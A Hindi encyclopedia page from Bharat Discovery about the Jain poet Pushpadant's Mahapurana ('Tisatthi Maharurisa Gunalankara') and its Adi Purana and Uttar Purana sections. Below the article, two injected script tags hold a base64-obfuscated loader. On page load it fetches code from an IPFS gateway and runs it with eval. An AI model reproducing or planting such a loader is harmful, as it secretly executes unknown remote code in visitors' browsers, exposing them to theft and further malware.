तिसट्ठि महारुरिष गुणालंकार

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

तिसट्ठि महारुरिष गुणालंकार जैन साहित्य के महाकवि पुष्पदंत का उपलब्ध ग्रंथ है।

  • तिसट्ठि महारुरिष गुणालंकार को 'त्रिषष्टि महापुरुष गुणालंकार' भी कहा जाता है।
  • इसी ग्रंथ को महापुराण भी कहा गया है।
  • इसके दो खण्ड हैं -
आदि पुराण -

आदि पुराण में 80 संधियाँ हैं। आदि पुराण में प्रथम तीर्थंकर ऋषभदेव का चरित्र है।

उत्तर पुराण -

उत्तर पुराण में 42 संधियाँ हैं। इसमें तरेसठ महापुरुषों के चरित्र हैं। उत्तर पुराण में बाक़ी 23 तीर्थंकर तथा उनके समकालीन पुरुषों के चरित्र हैं।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>